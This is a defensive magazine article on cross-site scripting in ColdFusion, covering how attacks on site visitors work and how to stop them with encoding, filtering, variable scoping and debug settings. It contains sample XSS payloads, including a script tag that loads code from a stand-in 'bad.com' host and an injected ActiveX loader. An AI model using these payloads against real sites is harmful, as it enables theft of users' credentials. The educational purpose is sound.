Welcome!

ColdFusion Authors: Greg Ness, Liz McMillan, Pat Romanski, Andreas Grabner, David Strom

Related Topics: ColdFusion

ColdFusion: Article

Safe Scripting

Safe Scripting

Stealing credit card numbers and passwords from your site's users is all too easy. Fortunately it's just as easy for you to prevent such theft...by taking a few precautions in your ColdFusion code.

In a recent post to Allaire's ColdFusion Developer Forums (http://forums.allaire.com), a developer with the handle "Vlad" noticed an interesting potential security hole in the CF Server. In his post Vlad noted that the default ColdFusion Administrator debug settings allow anyone to view a page's full debug information by simply adding the URL parameter mode=debug. While this debug information alone isn't necessarily a security risk for the server, it can be for the server's clients. Consider what happens if after mode=debug we add, as a bogus URL parameter, the script:

<script>alert(Hello World');</script>

The browser, trying to display the script as a variable name when printing the debug information at the bottom of the page, executes rather than displays the script.

Now imagine replacing this script with the following tag:

<script src="http://www.bad.com/evilscript.js"></script>.

The script contained in evilscript.js is downloaded and executed. This poses a threat for your Web site's users.

The threat is called cross-site scripting. Tom Cervenka, a k a "Blue-Adept," and other members of the group Because-We-Can (www.because-we-can.com) recently revealed the potential for script attacks on a client. On their Web site they demonstrated the security threat of client-sided script by posting scripts that captured usernames and passwords from Microsoft's Hotmail, Yahoo's Yahoo Mail and eBay. Shortly after, Carnegie Mellon Software Engineering Institute's Computer Emergency Response Team (CERT) issued advisory CA-2000-02 explaining this threat and how to prevent it. In response to CERT's bulletin Allaire also issued Security Bulletin ASB00-05 and Article 14558. These documents provide detailed information on preventing cross-site scripting.

In this article we explore how a cross-site scripting attack is mounted and how to prevent that attack when using ColdFusion. By understanding an attacker's strategy and learning a few defensive coding techniques, you'll gain the tools needed to prevent your Web site from being used by one of these attacks.

Cross-Site Scripting
Cross-site scripting is different from traditional hacking: it doesn't attack your Web site, it attacks your Web site's clients. In Advisory CA-2000-02 CERT describes cross-site scripting at length, defining it as existing when a Web site includes "malicious HTML tags or script in a dynamically generated page based on unvalidated input from untrustworthy sources." Malicious tags can come from "URL parameters, Form elements, cookies [and] database queries," CERT notes. Cross-site scripting can be used "to alter the appearance of the page, insert unwanted or offensive images or sounds, or otherwise interfere with the intended appearance and behavior of the page." Cross-site scripting can be used to download active content, such as ActiveX or Java applets, to a user's browser. Script can also be used to surreptitiously gather personal information such as passwords and credit card numbers.

CERT warns that cross-site scripting attacks on the client can persist. A malicious script embedded in a cookie, session variable or client variable, or stored in a database, can attack your client repeatedly. Eventually the client grows tired of the continuous attacks and learns to avoid your Web site altogether.

Cross-site scripting can be disguised by using characters other than the Latin character set. One technique is to use the hexadecimal equivalent of characters. Spammers have long used hexadecimal in e-mail to encode links to pornographic sites: because of the hexadecimal, filtering software often fails to detect the link as being restricted. As well as disguising links to avoid filtering software, hexadecimal can disguise links to avoid human notice. Malicious script may also employ languages other than English. As CERT warns, "Browsers interpret the information they receive according to the character set chosen by the user, if no character set is specified in the page returned by the Web server." If a Web site "fails to explicitly specify the character set...users of alternative character sets [are] at risk."

How Cross-Site Script Works
Cross-site scripting is simple. First a hacker identifies a Web site that doesn't filter special characters, then looks for an input parameter such as a form field or URL parameter that's returned as output back to the user's browser. The hacker tricks a user into entering script in the input parameter. The server then returns the script to the user's browser and the script executes.

The Because-We-Can group provided three convincing demonstrations of the potential threat of cross-site scripting. They did this by showing just how easy it is to steal usernames and passwords from Hotmail, Yahoo Mail and eBay. Tom Cervenka discussed these demonstrations at length in a presentation at Defcon 7 in July 1999. Detailed discussions of all three demonstrations are also posted on the Because-We-Can Web site.

Exploit No. 1 described by Cervenka: using JavaScript to steal usernames and passwords from Microsoft's Hotmail users. Here's how it can be done: first, send someone who uses Hotmail an e-mail containing embedded JavaScript; when opened, the script presents the user with Hotmail's re-login screen; the user logs in, whereupon the script secretly e-mails the username and password to the attacker. The user is never the wiser.

Exploit No. 2 involved Web auctions. Because-We-Can posted an "online working demo of JavaScript" that "stole usernames and passwords of eBay users." They did this by posting "an item up for auction, whose description contained JavaScript," Cervenka explained. When the user viewed the description, the JavaScript altered the "place-bid" form to e-mail the user's username and password to Because-We-Can. It then redirected the user to the correct page.

Exploit No. 3 was a variation on the first. Here a downloaded Java applet used the setAppletContext method to "load a new HTML document into the frame that holds the legitimate Web-mail controls," Cervenka said. "The new control panel...loads a bogus Timed-out, re-login page." When users log in, their usernames and passwords are e-mailed to the attacker. This exploit was effectively demonstrated on Yahoo Mail. Another variation of this attack, using Shockwave, was demonstrated on Microsoft's Hotmail.

Vulnerability of the cfmail Tag
Do you use the cfmail tag in your site? If you do and you don't take the security precautions discussed later in this article, chances are I could attack your site's clients using any one of the three techniques discussed by Because-We-Can.

It's all too easy to trick a client into entering malicious script through a link on a Web page or in an e-mail. To illustrate cross-site scripting and ColdFusion better, let's consider a simple two-page ColdFusion application, a login page (see Listing 1) and its processing page (see Listing 2).

For the sake of argument, let's assume we're using Internet Explorer 5 and that in the past we set the Security Level for the Internet Zone to High. This security level disallows unsigned ActiveX controls from downloading. When we surf to a site with an ActiveX control, we get an error message and we can't view the control. However, as we'll see, cross-site scripting can bypass this security (see Figure 1).

When we navigate to the login page and enter a username and password, the next page greets us by echoing our name. Now consider what happens when we enter <script>alert(By Jove I've been hacked');</script> in the username field. An alert appears in our browser.

Choosing Reveal Source shows the code in Listing 3.

The script was inserted into the HTML so IE5, seeing it as a valid script, executed the script.

As illustrated by Because-We-Can, perhaps the easiest way to attack Web surfers is to send them an e-mail with an embedded hyperlink. Consider the e-mail in Figure 2.

When we open the message and click the link, an alert appears. And remember, not all e-mail links are this obvious - they can be hidden.

Script tags with an src attribute are much more serious than the previous example. Consider the following script tag:

<script src="http://mysite.com/mydir/public_html/test.js"></script>

This tag instructs the browser to download a script from the listed Web site. When we return to the login page and enter this script into the username, IE navigates to http://localhost/login2.cfm, as expected...but also downloads the file test.js from mysite.com/mydir/public html. Unbeknownst to us, test.js contains a one-line script that writes the object tag to the login2 HTML page:

document.write("<object ID=cross.UserControl1
classid=CLSID:65FE914B-01D9-11D4-A422-00A02403A4A4 width=400 height=300></object>")

Seeing the object tag, IE downloads the ActiveX control cross.UserControl1 and executes it (see Figure 3). Moreover, it does all this without any warning.

Cross-site scripting circumvented IE's security because the script ran in the security context of our server, localhost, not mysite.com! IE's default is to trust all local active content. The script, and subsequently cross.UserControl1, is seen as originating from localhost even though it came from the external Web site. Remember, unlike Java, once downloaded, ActiveX has no security restrictions. Trusting any Web site - even one behind a corporate firewall - allows a malicious script to exploit that trust.

Preventing Cross-Site Scripting in ColdFusion
Although easily launched, cross-site scripting attacks are also easily prevented. CERT and Allaire identify several simple steps for preventing cross-site scripting from using your site. First, always specify the character set of your pages using the Meta tag. Second, identify and filter all special characters. Third, encode all input and output on your server. Finally, always define the scope (i.e., session, application, form, cookie and URL) of all variables. Let's consider each of these preventive measures.

Always Specify the Character Set of Your Pages Using the Meta Tag
In our example, since our pages are English, we specify the Latin character set ISO-8859-1. To limit the allowed characters to the Latin character set, set the Meta tag to

<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">

An easy way to do this, Allaire notes, is by specifying this tag in your application.cfm page.

Identify and Filter All Special Characters
CERT identifies the special characters to filter as:

< > ' " % ; ) ( & + '"

Depending on your preference, when a special character is encountered it can either be stripped from the input or an error can be generated. But contrary to CERT's advice, the single quote should probably not be filtered. How would John Doe O'Brien enter his name?

A client-sided JavaScript function that filters input for special characters is a good first line of defense against cross-site scripting (see Listing 4).

You should also limit the size of an input and the characters it accepts. ColdFusion makes limiting input easy with its HTML validation rule suffixes. These suffixes allow you to specify the acceptable variables for input fields. For example,

<input type="hidden" name="test_float" value="Invalid value entered">

would allow only a floating point number as input. The CF form tags also allow you to restrict accepted characters.

But client-sided filtering and limiting of acceptable input is only your first line of defense. Since both the JavaScript validation and the CF input limitations are client-sided, these security measures can still be bypassed. As CERT discusses, a better way to protect yourself is by encoding all input and output on the server.

Encode All Imput and Output on Your Server
ASP encodes input and output using the URLEncode and HTMLEncode VBScript functions. In CF you use the URLEncodedFormat, HTMLCodeFormat and HTMLEditFormat functions. Adding HTMLEditFormat code to the processing page of our login example encodes and displays script rather than executing it (see Figure 4), thus:

<cfoutput>Hello #HTMLEditFormat(username)#</cfoutput>

If you wanted a safe version of username to persist, you could also write:

<cfset test = #HTMLEditFormat(username)#>

Always Define the Scope of All Variables
HTMLEditFormat is a very effective way of filtering input and output. The simple steps given above can prevent most cross-site scripts from using your server in an attack against your clients. Security bulletin ASB00-05 and article 14558 on Allaire's Web site describe more techniques you can use for filtering input and output. For example, the REReplace expression can be used to remove illegal characters. For most of my needs, however, HTMLEditFormat has proven sufficient.

Always Define the Scope of All Variables
Take another look at the code in the first two listings at the end of this article. Do you notice anything? The scope of the variable username isn't defined. Besides being a mark of laziness, this omission is a potential security hole. Leaving any variable without scope in ColdFusion allows an attacker to use a URL parameter to provide the value for that variable on your CF page - regardless of the variable's source. In our login page, even if we changed the method from get to post, the e-mail attack script would still work. Since scope isn't specified, ColdFusion assumes the correct variable to be the username in the URL. Specifying the scope as form.username would render the e-mail harmless. Don't be lazy: specify the scope of all variables.

Already Deployed Sites
Identifying and modifying every input variable in a deployed site could prove difficult and costly. Fortunately for users of ColdFusion 4.5, Allaire has a custom tag available on its Web site. The cf_inputfilter tag allows you to filter all special characters from input. The tag has three parameters: scopes, chars and tags. The scopes parameter is a required comma-delimited list that allows you to choose the variables you want to strip of special characters. The choices for the scopes parameter are form, cookie, URL or any combination of the three. The chars parameter is an optional string of the characters you want to filter from input. The tags parameter, also optional, is a comma-delimited list that allows you to specify the tags you want to filter. For example,

<cf_inputfilter scopes="form" chars="%&" tags="script,object">

filters the characters "%" and "&" and the "script" and "object" tags from all form variables. The cf_inputfilter tag is available free of charge from Allaire's Web site.

If you have an older version of CF, an easy technique for protecting your site is simply throwing an error if a special character is found. I've written the custom tag cf_filter to check for special characters (see Listing 5).

Although not elegant, cf_filter works in ColdFusion 4.01. The cf_filter tag searches for the characters: % < > [ ] { } in form fields, cookies, URL parameters, session variables and client variables. If a special character is found, an error is thrown. You can exclude checking any of these variables by setting any of the optional parameters, checkfield, checkurl, checkcookie or checkclient, to "no." For example, <cf_filter checkfields="no" checkclient="no" > would check the session variables, cookies and URL parameters, but not the form fields or the client variables. Note that cf_filter does not include all special characters. As discussed before, overzealous filtering can result in valid characters throwing an error. If you want to filter more characters, you can easily modify this code to search for the script or object keywords or filter other characters; however, filtering %, < and > should be sufficient for capturing malicious tags and script.

ColdFusion Server Issues
So you've done everything you can to prevent cross-site scripting from using your code. What about Allaire's code? You must be diligent and filter all input and output, even Allaire's. As Allaire warns, none of the wizard-generated code in ColdFusion Studio protects against cross-site scripting. Downloaded and wizard-generated code should be carefully examined.

Wherever the ColdFusion Server echoes parameters to the client, there's room for exploitation by cross-site script. Two areas that immediately come to mind are the default error message and debug information. The ColdFusion Server default error message fails to filter or encode output. Consider the code:

<cfquery name="test" datasource="cfexamples" dbtype="ODBC">
SELECT #test# FROM Documentation
</cfquery>

When the URL http://localhost/test/query_test.cfm?test= <script scr="http://localhost/test/test.js"></script> is entered as a test's value, ColdFusion attempts to resolve the test and throws an ODBC error. When the error message is written to the user's browser, instead of echoing the value of the test the script is executed (see Figure 5).

The debug information (remember Vlad's observation of mode=debug) also fails to filter or encode parameters echoed back to the browser - and debug echoes them all back.

You should plug both of these security holes. Changing the ColdFusion Server debug settings to allow only specified IP addresses prevents the URL parameter mode=debug from working. You could also include the CF tag:

<cfsetting enabledebugoutput="false">

on every page for the same effect. The bogus URL parameter is now harmless.

I haven't found any way of making the default error message resistant to cross-site scripting. Encoding variables in a ColdFusion page doesn't prevent the default error message from being used in a cross-site scripting attack. Writing:

SELECT #htmlEditFormat(test)# FROM Documentation

has no effect. This is because at the bottom of the default error message URL parameters are echoed back to the client. The only solution I've found is defining my own custom error.

Conclusion
Fred Cohen, a noted security expert, advises that when considering security testing you "start at the inputs and trace them to everything they can do, either directly or indirectly through their effects on memory and other state information and outputs." Every source of input and output is a potential security risk. Identifying and mitigating at least the most serious of those risks is extremely important. As soon as Microsoft had triumphantly announced plugging the Hotmail security hole exposed by Because-We-Can, another benevolent hacker, Georgi Guninski, successfully demonstrated yet another way to steal usernames and passwords from Hotmail. This time JavaScript was sneaked in between the style tags of a document. As the Hotmail attacks illustrate, there are countless sources of input to your site and many of them aren't readily apparent. For the protection of your clients, you must be diligent and try to consider them all.

Every language used for processing dynamic Web input is susceptible to cross-site scripting attacks. For more information on preventing cross-site scripting, visit CERT's Web site (www.cert.org). CERT's bulletin contains numerous links to vendor-specific information, including Microsoft's IIS, Sun's Java WebServer and Apache. For more information on preventing cross-site scripting in CF, JRun and Allaire Spectra, visit http://forums.allaire.com and navigate to the security section.

Summary
The simple steps listed in this article will protect your ColdFusion Web site and your Web site's clients from attack. Maybe your site will never be subjected to a cross-site scripting attack...but then again, it might. Launching a cross-site scripting attack is easy. Preventing one is just as easy.

More Stories By James A. Brannan

James A. Brannan is a consultant specializing in Internet programming in the
Washington, DC, metropolitan area. He is also pursuing a master's degree at
the University of Maryland.

Comments (0)

Share your thoughts on this story.

Add your comment
You must be signed in to add a comment. Sign-in | Register

In accordance with our Comment Policy, we encourage comments that are on topic, relevant and to-the-point. We will remove comments that include profanity, personal attacks, racial slurs, threats of violence, or other inappropriate material that violates our Terms and Conditions, and will block users who make repeated violations. We ask all readers to expect diversity of opinion and to treat one another with dignity and respect.